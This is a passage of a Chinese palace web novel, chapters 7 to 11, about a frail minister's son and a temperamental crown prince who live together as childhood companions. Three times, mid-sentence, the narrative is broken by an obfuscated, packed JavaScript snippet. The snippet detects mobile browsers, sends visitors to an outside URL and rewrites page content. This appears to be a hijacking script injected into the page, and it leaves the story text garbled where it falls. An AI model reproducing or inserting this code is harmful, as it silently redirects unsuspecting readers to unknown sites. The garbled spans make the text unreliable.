德福吩咐太监宫女们备水,自己又是给温黎脱外衣,又是给闻辞擦脸擦手的,可是忙坏了他这把老骨头。 “两个小泥猴子,快去洗洗。”德福轻轻地拍了拍他们。 德福倒是不担心闻辞,皮糙肉厚地十分耐造,最担心的还是温黎的身体,不能有一点儿地磕碰,生怕有个好歹出来。 由于时间太过匆忙,一时半会就倒满了一桶水,只能在一起凑合着洗了。 闻辞已经自顾自地把自己脱了个精光,然后往浴桶里一跳,溅起的水花落在了温黎的脸上,惹得他蹙了蹙眉头,有些嫌弃这粗鲁的动作,伸手擦了擦。 温黎脸很是白皙,身上的皮肤更白,白晃晃得好像笼了一层月光,明眸皓齿唇红齿白,整个人漂亮得像仙子一样。 不,比仙子还要漂亮。 不禁让闻辞又怀疑了起来,趴在浴桶边缘扯了扯温黎的衣裳,“阿黎,你到底是男孩还是女孩啊?” 温黎努了努嘴巴,明明已经说了自己是男孩了,还是要再问一遍,定是生病导致的记忆力不好,说不准脑子也不好。 鉴于闻辞脑子不太好,不与他计较又善良大方的温黎只好勉为其难地再重复了一遍,“我当然是男孩子啦!” 话音刚落,德福就把温黎的裤带子解开了,亵裤连同外裤一起掉在地上,露出光溜溜的屁股蛋子。 闻辞的目光下移,盯着那小玩意儿看了又看,也是白白的,小小的一只,眨巴眨巴着眼睛,“哦,还挺可爱的。” 8. 第 8 章 温黎顺着闻辞的目光往下看,顿时恼羞成怒,光着腚就要往外跑,“你……你不许看!我不要和你一起洗了!” “哎呦,小祖宗!可别着凉了!”然而还没跑出两步就被德福一把捞了回来,抱在怀里要往浴桶里送。 温黎虽人小,但力气却不小,人还倔强,憋着一股蛮劲儿就是不进去,简直是比过年的猪还难摁,累得德福是气喘吁吁,只能招呼两个小太监轮番上阵。 六岁的小孩子只能顺毛哄,哪能这样强硬,温黎的眼圈瞬间就红了,瘪了瘪嘴巴,眼尾有颗小珍珠欲落不落。 德福注意到不对劲,连忙叫停,可是不知道是谁不小心掐了温黎一下,疼得他彻底绷不住了,哭了出来。 这下子所有人都慌了,特别是闻辞,早就惊恐万分了,他意识到好像是自己的原因,连忙道:“你别哭,别哭,我也给你看我的,我们扯平不就行了。” 德福心叫不好,小祖宗可别再惹事了,这不是火上浇油啊! 可他的动作还是不够快,闻辞像旱地拔葱一般“蹭”地一下子冒了出来,小雀雀就这么大咧咧地裸露在人前。 温黎惊呆了,两只眼睛瞪得滚圆,随后爆发出了雷鸣般的哭声,“哇哇哇哇!” 彻底乱成了一锅粥,德福一脸痴呆地坐在地上,恨不得仰天长啸一句:天呐,还是把我杀了吧! 德福好不容易把两只泥猴子洗干净了,穿好寝衣裹上被单扔进了被窝里,他感觉自己又老了十岁。 温黎捧着有脸那么大的碗,“咕噜咕噜”地喝完了浓浓的姜汤,然后乖乖地躺下,闻辞学着温黎的样子喝完也躺了下来,两颗脑袋挨在了一起,仿佛刚刚的矛盾不存在一样。 “小哭包,你不能老是哭,都把我吓坏了。” “我没想哭的,是你总是吓唬我,而且是有人掐我,可疼了。”温黎把袖子撸了起来,白嫩嫩的胳膊上有一块特别明显的红痕,已经有些微微泛着青色了,一碰就疼。 “谁掐的?”闻辞一下子就生气了。 “我不知道,不过现在已经没那么疼了。你下次不要随随便便看别人,不礼貌。”温黎不放心地又补充了一句,“也不可以随随便便给别人看,这是隐私。” “阿黎不是别人,是我的好朋友。”闻辞既真诚又恳切。 “那也不可以。”温黎把闻辞当做什么都不知道的小朋友,认真又仔仔地给他普及着知识。 “好吧。”闻辞乖乖地点了点头。 温黎是他唯一的朋友,温黎想做什么都可以,温黎的话也要好好地听,不然温黎是会走的,他不想温黎离开。 德福趁他们俩都睡着了就悄悄地探了进去,摸了摸温黎的额头,发现并没有起烧的迹象这才松了一口气。 临走前特意将闻辞搁在温黎腿上的脚轻轻地拿开,可别给小瓷娃娃压坏了。 左相府。 陈之昂跟三个儿子一起吃饭,大儿子今年刚考中进士,在翰林院任职,二儿子刚过了武试,在皇帝身边做个侍卫,小儿子在哼哧哼哧吃饭。 “你确定不是被打哭的?” “绝对不是,我听同僚们说起,只是小孩子间小打小闹,太子殿下还挺喜欢那小孩的。”大儿子拍着胸脯保证。 陈志昂若有所思地将目光转向了自己正在胡吃海塞的小儿子身上。 倒霉蛋儿陈越峥对上了他爹的视线,瞬间明白了他的意图,嘴里的鸡腿都不香了,“不是,爹,你忘记我之前被打成什么样子了,我可是整整躺了一个月啊。” 由于陈越峥和太子年岁相仿,陈之昂存了要把小儿子送进宫给太子当伴读的想法,谁知道太子殿下他打遍天下无敌手,把所有同龄小孩都打了一顿,令人望而却步,但此时又是一个好机会啊。 “温书礼那颗独苗苗的身子骨是出奇的差,走两步都要歇下来喘一喘,他都能在太子殿下手里头活得好好的,你怎么不行?说不准他的脾气已经收敛了呢。”陈之昂态度细致地跟自家胖儿子打着商量。 “爹,你想我死你就直说。”陈越峥饭都吃不下了。 陈之昂直接拍案决定,摸了摸他的小胖脑袋,父慈子孝着,“这样,你先去试试,不行的话爹再把你带回来,这便宜可不能白白地让他温书礼占了去。” 陈越峥叫苦连天,直接跪下来抱住了他爹的大腿,鬼哭狼嚎着,“爹啊,那时候我还有气儿吗?” “这叫什么话,他一个小娃娃还能把人打死不成!”陈之昂甩了甩腿,这大胖小子是纹丝不动,倒把自己累得气喘吁吁,扶着桌子,“人家温黎都敢,你白长这么多肉了!你去也得去,不去也得去!” *** 午后,温黎与闻辞在东宫的碧波亭看书,书桌上放了一碟子大夫允许吃的桂花糖糕。 这是当下最时新的绘本,是探花郎所编辑的衍朝律法,将枯燥乏味的律例融入到脍炙人口的故事中,更加便于理解与接受,内容通俗易懂、画面精致优美,一度成为京中小儿最爱的书籍。 其中一篇则是,一个书生与农家女结为夫妻,农家女努力地干活挣钱凑够了书生进京赶考的银子,书生不负众望考中状元,却将农家女与孩子抛之脑后,娶了当朝丞相的女儿为妻,农家女知道后一路赶往京城,却被书生残忍杀害,然而丞相府一夕之间落败,书生最终翻然悔过,终身与青灯古佛相伴。 温黎不满意这样的结局,拧着小眉头,“他犯下如此大错,为何只是与古佛相伴这样的惩罚?” “小公子,这就是让您回答此人犯了几重罪,该如何判别与惩罚的。” 温黎抿了抿嘴巴,在纸上写了起来,他写得很慢,但一手簪花小楷写得非常秀气好看,见字如人,大抵如此了。 德福看了看,满意地点了点,然后转向另一边,发现是一片空白,“殿下,您的答案呢?” 闻辞磨搓着下巴,仔细想了想,“我知道了,这个叫负心汉。” 德福:“……”就不该抱有幻想。 “骗你的,我当然知道啦。”闻辞笑嘻嘻地清了清嗓子,缓缓道来,“其一停妻更娶,其二抛弃婴孩,其三隐瞒欺诈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433059|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其四谋害性命,此人应该取消功名利禄,杖责三十大棍,若还有命在再流放西南三千里,永世为奴。” 德福惊讶地说不出话来,这与绘本上的内容一字不差。 闻辞骄傲地扬了扬头,一副意气风发的模样,“衍朝的律法阿黎早就教过我了,我都能倒背如流,这种绘本下次不要再买了,没意思。” 那么多老师费尽心思让自家小主子记住的衍朝律法,就这么轻易地被温小公子教会了,德福再次惊诧。 “公公不必惊讶,父亲与陛下让我住在东宫,一方面是为了阿辞的病,另一方面,我身为阿辞的伴读,自然有督促与教授的职责。”温黎一字一句不紧不慢地说着,语气虽然稚嫩,但俨然像个小老师一样庄重认真。 温黎虽然年纪小,受伤受委屈难过了都会哭,但他读过很多书,知道许多道理,有些事情不必明说他也可以明白。 这番话把德福哄得一愣一愣地,仿佛站在面前的是温书礼一样,压力倍大。 “那……那个咱们来画画吧。”德福变戏法一样地拿出一本画册。 温黎翻阅着画本,都没有找到一只小鸟的图案,努了努嘴巴,对德福道:“公公,我想画小鸟。” 德福还未张口,闻辞就麻溜地从椅子上跳了下来,“那我去把啾啾带过来。” *** 陈之昂将陈越峥带进了宫,征求皇帝同意后,让自家儿子去了东宫,但他摸了一个空。 德福道:“小公子,太子殿下去拿东西了,您在这儿等一下。” 陈越峥拘谨地坐着,没一会儿就觉得无聊了起来,眼睛滴溜溜地四处看看,目光瞥到了小亭子那边的一抹亮色,锁定在一个浑身雪白,像是只小糯米团子一样的娃娃身上。 奶团子温黎正扶在文案上认认真真地画画,忽然有一个庞然大物挡住了他的视线,不禁抬头望去,他的一双眸子像琉璃一样漂亮,盯着人看的时候总是烨烨生辉的。 看得陈越峥白胖的脸上一阵红,紧张得手脚都不知道该往哪儿摆,结结巴巴着,“你……你好。” “你好。”温黎有礼貌的回应,“你是谁?” “我是……是陈越峥,你呢?” “我是温黎。”温黎的声音细细小小的,又稚气未脱,奶声奶气得很是可爱。 陈越峥的目光完全被温黎吸引住了,他从来不知道他爹的死对头温丞相能有一个这么好看的宝贝。 被别人这么没有礼貌地盯着,温黎漂亮的眉头都皱在了一起,“你不要总是盯着我看。” “哦哦。”陈越峥连忙收回视线,上看看下看看,不知道要看些什么好,最后目光落在了书桌上的走马灯上,哈哈一笑,“你这灯挺好看的啊,哈哈哈。” 等抱着啾啾回来的闻辞时就看见温黎正把走马灯递给一个大胖小子玩,好像还对着他笑了,怒从心中来,可他又不知道要说什么。 忽然想起了绘本里的那个负心汉,灵活地运用到了温黎身上,闻辞歇斯底里地控诉着,“温黎!你怎么可以抛夫弃子!” 9. 第 9 章 突如其来的声音吓得温黎手一松,马走灯都掉在地上了,陈越峥看见闻辞就有生理性恐惧,身体宛如钉在那儿一样一动不动,直到闻辞上来一把将他推开,把温黎护在自己的身后,像护崽子的老母鸡一般张牙舞爪着。 “你不可以推人的。”温黎不满闻辞的行为,完全没有意识到他正处于暴怒的边缘。 闻辞的声音不断提高,像个炮仗一样,但语气却充满了委屈,“那你为什么要和他说话,你不要我和啾啾了吗?” “我没有不要啊。”温黎伸手就要过来抱啾啾。 闻辞别过了身,不让温黎接触啾啾,十分有原则道:“那你就不能和他说话。” “为什么?”温黎秀气的眉头拧到了一起,不理解闻辞此时此刻的所作所为。 闻辞的态度十分强硬,“就是不可以,你是我的朋友!” 温黎瘪了瘪嘴巴,生气了,负气道:“那我也不要和你说话了。” 在闻辞的观念中温黎是他的,只是他一个人的朋友,不容许有任何人分走温黎的目光,可是现在温黎不理他了,闻辞将所有的错都归结到忽然出现的陈越峥身上,如果不是他,温黎就不会这样,于是转过头去,眼神凶狠地盯着入侵者看。 陈越峥可太熟悉闻辞这样的状态,吓得脸上胖乎乎的肉都在颤抖,把腿就要跑,但哪里抵得过闻辞敏捷的动作,被揪着衣领打了一拳,被打倒在地,捂着脸喊“哎呦哎呦”。 闻辞还不嫌够,直接骑在他身上打,体型比闻辞大了一圈,却毫无招架之力。 德福一看这还得了,连忙上去拉架,但闻辞实在是太虎了,力气大得惊人,浑身上下充满了戾气,连他一个成年人都被推得一个趔趄摔倒在了地上,屁股火辣辣地疼,他顿时就意识到是特殊时期到了。 其他的太监宫女们都是吃过大苦头的,没有一个人敢上前阻拦。 温黎完全看傻了,漂亮的大眼睛瞪得滚圆,满是惊讶与诧异,嘴巴不自觉地微微张着,愣在那儿不知所措,啾啾在天空乱飞着,飞着飞着就停留在了温黎的肩膀上蹭了蹭他的脸颊。 场面实在是太混乱,德福连忙让人将正在勤政殿与皇帝说话的温书礼和陈之昂请过来。 温书礼风风火火又气势汹汹地赶了过来,面上有喜有怒。 怒的是这臭太子把他家宝贝儿子给欺负了,喜的是他终于有理由可以把宝贝带回家了。 温书礼步伐快得恨不得飞起来,然而到了东宫定睛一看,吓得身子都歪了一下。 这怎么和禀报的情况不太一样啊,不是说太子把温黎吓哭了,不是说把身上打得青了一块呢,不是说连太医都喊来了呢……那现在规规矩矩坐在自家小宝贝面前乖乖听训的小孩是谁啊? 温黎的衣领歪了,衣角脏了,漂亮的脸蛋上还挂着灰土,两团脸颊红红的,有些狼狈,但依旧板着脸,十分严肃的模样在教育着人,“你下次不可以那样了,他们会难过的。” 闻辞耷拉着脑袋,像只落水小狗一样乖乖地点了点头,“嗯。”然后委屈巴巴地抬眸看了温黎一眼,轻声道:“你不要和他交朋友……” “我没有要和别人交朋友,我只有你一个朋友。”温黎抱了闻辞一下。 跟在后面哼哧哼哧赶来的闻言殷也傻眼了,这还是他那脾气暴躁桀骜不驯、恨不得干翻整个大衍朝的小魔王吗?怎么成温顺小猫咪了。 陈之昂在殿内张望了半天,都没有看见自家大胖儿子的身影,隐隐约约只听到几声痛苦的呻.吟声,跑进内殿一看发现有个猪头躺在床上,旁边的太医正给他上药。 等再仔细看了看,陈之昂才辨别出这猪头竟然是自家小儿子,立马大惊失色心疼万分,“哎呦,我的儿啊!你怎么成这样了!” 陈之昂一看见自家老爹就委屈巴巴起来,嚎着嗓子大哭,“我就说我不来了,哇哇哇哇……” 闻言殷看着胖小子的模样也惋惜地摇了摇头,“朕都说了不行的嘛,你怎么就不信朕呢。”又看了一眼德福,德福擦了擦额间汗水,缓缓道来。 当时温黎回过神来就上去拉闻辞,正处于暴怒中的闻辞神挡杀神,佛挡杀佛,一把就将他甩开了,温黎一屁股坐在了地上,疼得眼圈瞬间一红。 德福吓得魂都要飞了,这时候谁敢去招惹小太子啊,他现在理智全无,只想打死眼前这个碍人眼的小胖子。 谁知道温黎竟然没有哭,而是拍了拍身上的土又爬了起来上去拉闻辞,用了很大的力气,脸色都憋红了,“你……你不能打人!” 可是这样的力气在闻辞面前根本不够看,轻而易举就甩开了温黎,力气大到都要将他甩给了,还好德福眼疾手快将温黎接,不然的话这把脆骨头得摔个稀碎。 温黎憋着一股劲儿,从德福的怀里挣扎出来,抓住闻辞打人的手就狠狠地咬了一口。 闻辞感觉到痛楚,一把掐住了温黎的脸颊,两团肉都挤压在了一起,温黎觉得好痛好痛。 刚刚只是脑子一头热,只想让闻辞停下来,没有想太多,现在才感觉到害怕,握着闻辞的手都在微微发抖,下一刻眼泪夺眶而出,“你……你掐地我好痛,呜呜呜……” 温黎的眼泪珠子一滴一滴打在了闻辞的手指上,裹挟着桂花糖的香气,钻进了闻辞的鼻腔,让他眼底的怒气慢慢地散去,变得清澈明亮起来,赶紧松开手,“阿……阿黎……” 闻辞从小胖子身上爬起来就开始哄小温黎,他不知道自己是怎么了,浑身像是火烧一样,行为举止都不受控制了,以至于无意识地伤了温黎,他很后悔也很愧疚,他不想这样的…… 温书礼还是不放心,把自家宝贝上上下下里里外外都检查了一遍,除了身上有些脏,脸颊被掐红了以外并没有受什么伤,可还是让他心疼的厉害,对闻辞的埋怨又多了几分。 “阿爹,我真的没事的。”温黎看得出来阿爹很担心,握了握他的手一个劲儿地说自己没事,他只是手蹭破的地方有点疼而已。 “老师,对不起……”闻辞始终低着头,都不敢直视温书礼的眼睛,他很怕出了这样的事情,老师再也不让温黎和自己住在一起了。 闻辞从小到大就知道自己和别的小孩有些不一样,力气很大,每个月总有那么几天控制不住自己的脾气,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433060|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要破坏眼所能及的一切,年岁越大,这样的情况就严重,只有靠打人发泄精力,而三五日一过又能恢复正常。 但他从来没有当做一回事,因为所有人都顺着他,哄着他,让他觉得这也没什么大不了的,实际上这样很不好。 温书礼对第一次会乖乖认错的闻辞感到惊讶,从前就算拿把刀架在脖子上都不会承认一个“错”字的小霸王竟然学会认错了,让他的怨气也无处宣泄,只能轻轻地叹了一声气,“此事也并非殿下的错,殿下只是发病了。” 毕竟谁都不想生病,谁都想健健康康、快快乐乐地长大。 闻辞离开了,屋内只剩下温黎与温书礼。 温书礼解开了温黎的脏衣服,给他换了一身干净的,手上破皮的地方也轻轻地敷了最好的金疮药。 “阿黎,跟阿爹回家吧。”温书礼看着自家宝贝伤痕累累的小手,心疼到无法呼吸。 “不给阿辞治病了吗?”温黎眨巴眨巴着眼睛,满脸的疑惑。 “他的病很可怕。” “我知道的,德福公公和我说了,阿爹从前也同我说过,阿辞只是生病了才会这样。”温黎起初是很害怕的,但闻辞恢复正常后又变成了往日的闻辞,他就不害怕了,“就跟生病的阿黎是一样的。” 温黎生病是病恹恹的,没有力气,而闻辞生病是暴躁,想打人,都是生病,只是形式不一样而已。 尽管如此,但温书礼心里不愿意了,“你不是不想和阿爹分开吗?如果回家的话就可以和阿爹在一起了。” “可是我每天都能见到阿爹啊,在这里比在家的时候与阿爹待在一起的时间更长呢。” 每天一睁眼阿爹就离开了自己,直到日落西山才会看见阿爹的身影,就只有晚上的时间是可以和阿爹在一起的,可是夜晚的时间太短暂了,一会儿就溜走了,抓都抓不住,可现在他可以有一整个白天的时间都和阿爹在一起呢,温黎能够分得清。 温书礼从来不知道温黎这样的想法,他这个父亲还是做得糟糕至极,“对不起,是阿爹忽略了和阿黎相处的时间。” “没关系哦。”温黎亲了亲温书礼的脸颊,用阿爹教自己的方式安慰着难过失落的爹爹,“陛下让我给阿辞做伴读,阿黎虽小,有些道理不懂,但阿黎知道自己的责任,答应过的事情是不可以反悔的哦。” 这样乖巧懂事又可爱的小娃娃如何不惹人疼爱啊。 待温黎睡着后,温书礼被皇帝召去了偏殿。 院判捋了捋自己花白的胡须,感慨着,“真是奇了啊,按理太子殿下的怪病每逢十五发作,从无例外,但这次竟然会提前,又在还未闭关的情况下得以缓解。” “是不是因为打了陈小公子的缘故,戾气得到了释放?”温书礼猜测道。 院判否决,“不会,臣也看过陈小公子的伤了,只是看起来严重,却并无大碍,与从前那些人的情况大不相同。” 也就是说闻辞的实力远远发泄出来,根本打得尽兴,但却恢复了正常。 闻言殷忽然想到了什么,“难道钦天监所言证实了!阿黎真能克制我儿的病情?” 10. 第 10 章 院判思索片刻才道:“微臣对比了小公子从前的脉案,之前小公子受了惊吓又受伤,导致病发,烧了三天三夜,但这次臣观小公子的脉象并无不妥。”虽说天象之言不可尽信,但两个孩子待在一起后身体情况都确实有了好转。 “那阿黎的病症是不是不会再复发了?”温书礼常年不苟言笑的脸上有了一丝丝的松动,迫切地期待着。 可院判却摇了摇头,“温大人,这微臣不能肯定,微臣只知道现在小公子对于太子殿下的狂症有所缓解,若是能知道具体是什么方式,说不准也可缓解一二。” 说了半天跟没说没什么两样,最终结果还是只有让两个孩子继续住在一起,看看最后有没有痊愈的可能。 闻言殷安慰似的拍了拍温书礼的肩膀,“朕知晓你着急,但此事也算是有了一个好的开端。” 最近京中不太平,有不少小儿失踪,小到五六岁,大到十一二岁,闹得人心惶惶,挨家挨户的百姓都不让孩子出门,京兆尹已经追查了许久,都没有任何消息,事关孩子,民生之根基,一向好脾气的闻言殷都不免大怒,加派人手去调查。 况且恰逢万寿节,所有附属国都要来衍朝朝拜,这样特殊的档口不能出任何事情。 温黎这两日有些恹恹的,每逢三十,他都会病发,浑身烧得滚烫,整个人都糊里糊涂的,但这次除了胃口不好,脸色有些白之外并没有其他不适。 闻辞总是变着花样地哄温黎开心,小肉球都用上了,还是于事无补。 温书礼又被皇帝外派办事,没办法来陪着小温黎,他就更加歪头耷脑了,连小厨房煮的甜粥,也只吃了一两口,就被放在一边的小圆凳上,受尽冷落,直到凉掉。 吃了药温黎坐在院子里的摇摇椅上,杏色织金云纹圆领袍,腰间挂着玉制环佩,脸颊如白瓷一般细腻,还透着浅浅的粉色,看上去有些病态,发丝随着和煦的春风微微飘扬,一动不动的样子像是精致又脆弱的娃娃。 双脚都够不着地面,就这么有一下没一下地晃着小脚,肉球乖乖地在他腿上呼呼大睡,肚皮都露了出来,温黎怕它着凉,还用一块小帕子盖在了小肚肚,然后继续百无聊赖地晃着小脚,环佩随之叮铃作响。 晃着晃着,一只绣着如意云纹的小鞋子掉了下去,就剩一只小脚光秃秃的翘着,陪在身边的小侍从蹲下身给他把鞋子穿好。 等在抬起头时便看见天空多了一只蝴蝶风筝,飞得好高好高,仿佛要穿越云层,只有将脖子扬起来才能看得清楚。 “阿黎,你瞧!我放的风筝是不是高!”闻辞兴致冲冲地跑了过来,天上的风筝却稳稳当当地飘着。 闻辞的脸都跑得红扑扑的了,额间冒出了汗珠,但他一点儿都不在乎,满脸笑意,“你说过风筝越高,烦恼就能统统忘掉,我希望阿黎永远没有烦恼!” 温黎又惊又喜,漂亮的眸子里满是笑意,看看风筝又看了看闻辞,高兴得蹦了好几下,把旁边的小侍从看得一愣一愣地,不禁伸手护着。 “你好厉害,可以放这么高。”温黎的眼睛亮晶晶的,在阳光下熠熠生辉。 “嘿嘿。”闻辞被夸得无比骄傲,尾巴都要翘起来了,然后抓住了温黎软乎乎的小手放在手柄上,“我教你啊。” 一拉一扯一放间风筝越来越高,五颜六色的小蝴蝶风筝被云层遮住了身影,隐隐约约地。 温黎太高兴了,他想要小蝴蝶更高些,于是手上开始使劲儿,用力地一扯。 “嘶……”闻辞痛呼一声就松开了手。 风筝线断了,小蝴蝶随风飘扬,飞得歪歪扭扭,一半翅膀躲进了云层中。 温黎有些惋惜,可看见闻辞的手心被风筝线划破,血珠争先恐后地冒了出来,顿时吓得魂飞魄散,把小蝴蝶忘得一干二净了,紧紧地盯着他的手,碰都不敢碰,“你……你流血了!” 德福慌里慌张地差人去拿药,“快去请太医!” 温黎吓得脸色白了又白,像只受了惊的小兔子一样僵在那儿,手脚都不知道该怎么摆,看着太医匆匆忙忙地赶来,围着闻辞,挡住了他的视线,他不敢上前,只能奋力地垫着脚尖够着看,可是个子太矮了,连片衣角都没有瞧见,急得团团转。 风筝线锋利,割破了皮肉,但幸好伤口不大,很快就把血止住了,太医敷了金疮药,扎了一个漂亮的蝴蝶结,又叮嘱这两日不要碰水。 待人群散去,温黎才慢慢地挪了过来,低着头,紧紧地扣着手指头,眼圈都红了,眼角的小珍珠欲落不落,嗫嚅着,“对……对不起,我不是故意的……” 小温黎真的很爱哭,生病了会哭,离开阿爹会哭,委屈了会哭,疼了会哭,犯错了也会哭,可是他得忍着,哪有做错事的人先哭呢,他赶紧揉了揉眼睛,不让眼泪掉下来。 “没事儿没事儿,这才多小的伤口啊。”闻辞摆了摆手表示自己很英勇,这点小伤不在话下。 温黎心里越发难受了,愧疚得不行,可他不知道自己能做些什么,于是握住了闻辞的手,往手心里吹了吹,糯糯道:“呼呼呼,痛痛飞。”然后手往空中挥了挥,好像痛苦真的随风飞走了。 这是阿爹教他的,每次受伤,阿爹都会像这样给他的伤口吹吹风。 闻辞眨巴眨巴了眼睛,感觉手心麻麻的痒痒的。 “怎么了?”温黎吸了吸鼻子,僵在那儿又不敢动了,生怕是把伤口吹痛了。 “你……你再吹吹嘛,凉凉的,一点都不痛了。” 温黎受了鼓舞一般继续地吹着,不停吹不停吹,吹到最后风力越来越小,吹得他口干舌燥、眼冒金星,差点儿没撅过去,还是德福连忙过来制止才停了下来。 头昏眼花的温黎一边喝着温水,一边微微地喘着气,断断续续道:“你等……等我休息一会儿,继续……继续帮你吹……” 最后温黎还是没有吹成,本来就处于病发时期,闻辞实在是担心他的身体制止了他,但温黎感觉自己的身体轻松了许多。 沐浴完之后,两个人躺在了床上,温黎想起来今日学习的课文闻辞还没有背诵,本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433061|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着精益求精又负责的态度让闻辞背一背,闻辞听话地缓缓道来。 他的声音清浅平缓,犹如安神曲一样,温黎一边核对着记忆中书册的内容,一边开始昏昏欲睡,眼皮闭上又缓缓地睁开,频率越来越慢,身体也不自觉地往闻辞这边凑了凑,嗅到了似有似无的茯苓气味。 课文还没有背诵完,温黎就睡着了,靠在了闻辞的肩膀上,这是二十日以后他睡得最快的一觉。 温黎睡得十分香甜,睡着睡着就不知不觉地钻进了闻辞的怀里。 闻辞比温黎仅仅大了一岁,却比他高出足足一个头,站在温黎面前俨然像个小大人,可以把温黎整个儿抱起来,窝在他怀里时也是小小的一团。 闻辞一动不敢动,生怕把温黎吵醒了,只敢微微侧目听着他看。 温黎长得是真好看,闻辞从来没有见过这么好看的男孩子,像仙子、像天使,越看越喜欢。 皮肤又白又细腻,不是那种毫无血色的病态,而是透着红润,不知是被暖和和的被窝哄出来,还是身体已经恢复了过来,圆圆的小脸儿都是红扑扑的,长而卷翘的睫毛轻轻地颤动了两下。 好可爱啊。 闻辞忍不住偷亲了一口,然后捂着嘴巴满足得“咯咯咯”直笑,渐渐地陷入了甜美的梦乡。 一觉醒来,温黎感觉自己神清气爽,头不痛了,身体的疲乏感也一扫而空,浑身轻松起来,也没有生病。 府医与院判都来给温黎把脉,闻言殷也来了,毕竟温书礼被自己派了出去,他得对他的宝贝儿子负责。 最终结果令众人又惊又喜,特别是府医,脸上的笑意都要溢出来了,如当时的闻辞一样,过了特殊时期也没有发病,只是一时也拿不准究竟是什么原因,还得再研究研究,甚至把钦天监都喊着一起。 温黎则乖乖地坐着看书,闻辞蹭了过来给他看自己刚刚编的草蝴蝶,栩栩如生惟妙惟肖,温黎的注意力被吸引了过去,轻轻地摸了摸小蝴蝶的翅膀。 闻言殷走了过来,满脸欣慰地拍了拍小温黎的肩膀,“朕把阿辞交给你,很是放心。”又看了一眼自家的小魔王,揉了揉他的脑袋,“臭小子,好好照顾阿黎。” “我当然会照顾他啦,哎呀哎呀,不要揉我的脑袋,我的发型都乱了。”闻辞不习惯闻言殷和自己这么亲昵,装作不耐烦地挥了挥手,别过脸去,嘴巴要翘不翘要撅不撅的。 “臭小子。”闻言殷笑骂了一句,满眼都是温情与宠溺。 傍晚时分,闻辞提前完成了今日的学习任务,兴致冲冲地把自己稀奇古怪的小玩意儿通通拿了出来跟温黎一起分享,竟然有一只木质的小鹦鹉,小模样和啾啾长得很像,碰一下小尾巴还会发出鸟叫声,再碰一下小翅膀会扑腾两下,好像要起飞了。 温黎对这个小玩意儿很是喜欢,抓在手里把玩着,想要知道发声的原理是什么。 “这个不算什么,我还有一个更精致小巧的!在我父皇寝殿里,咱们去拿。”闻辞说干就干,当即就牵起了温黎的手往长生殿跑。 11. 第 11 章 闻辞带着温黎回到了他以前的小房间,那里堆满了稀奇古怪且珍惜的小物件,纯金打造的走马灯、白玉制成的九连环……等等,金光闪闪得晃人眼,都是闻言殷用心给他选的,还有一部分是亲手做的,被整整齐齐地摆放在柜子里。 从前闻言殷是十分宠爱闻辞的,像温书礼一样恨不得把自己的宝贝带在身边,凡事都亲力亲为,连上朝都带着,只要闻辞一哭就立刻辍朝哄他,甚至得拉着臣子一起哄,离谱与宠溺程度令大臣瞠目结舌。 然而自他被确诊狂症之后,闻辞就开始排斥他,闻言殷照顾起来就开始吃力了,除了手臂上牙印,其实还有不少伤口,都是发病时留下的,闻言殷实在是头疼与心力交瘁,于是将闻辞迁去了东宫,派人精细地照顾着,自己时常过去瞧瞧。 满屋子的宝贝看得温黎眼花缭乱,都不知道要看什么好,忽然一只纯金打造的小鸟吸引了他的注意力。 金小鸟比木质的小鸟更像啾啾,通身泛着亮晶晶的金属光泽,十分地精致小巧,长长的尾巴垂下来,轻轻地碰一下就会发出了更为清脆的鸣叫声。 “好漂亮的小鹦鹉。”温黎小心又怜爱地抚摸了两下。 “这是父皇给我做的,我五岁那年的生辰礼。”闻辞扬了扬小脑袋,眼角眉梢之间写满了骄傲。 “陛下的手真巧。”温黎笑得眼睛都弯了弯。 闻辞翘了翘嘴角,“还行吧。” 两人在房间里玩了许久,闻辞把温黎凡是多看了几眼的小物件通通装进了小背包,没一会儿就装了一大兜子,得扛着走。 而那只金小鸟被温黎爱不释手地拿在手心里。 夜幕降临,西斜的太阳已经悄然消失,长胜殿内一盏一盏地亮起了烛火,照亮了整座殿宇。 闻辞来这里没有让宫女太监们去通传闻言殷,于是悄悄地来,又悄悄地走,可经过皇帝寝殿的门口时,发现殿内只点亮了一盏灯烛。 寝殿内散落了一地的酒壶,闻言殷身着雪白的寝衣,如瀑布般的长发披散在身后,满脸通红,整个人伏在榻前,怀里紧紧地抱着一幅雌雄莫辨的美人画像不撒手,嘴里不知道在喃喃自语些什么。 温黎从未见过尊贵无比的皇帝陛下有这副脆弱又无助的模样,不禁看呆了眼睛。 “你父王怎么哭唧唧的啊,要不要给他送块饴糖?”温黎蹲在角落里拿着自己装糖的荷包跃跃欲试。 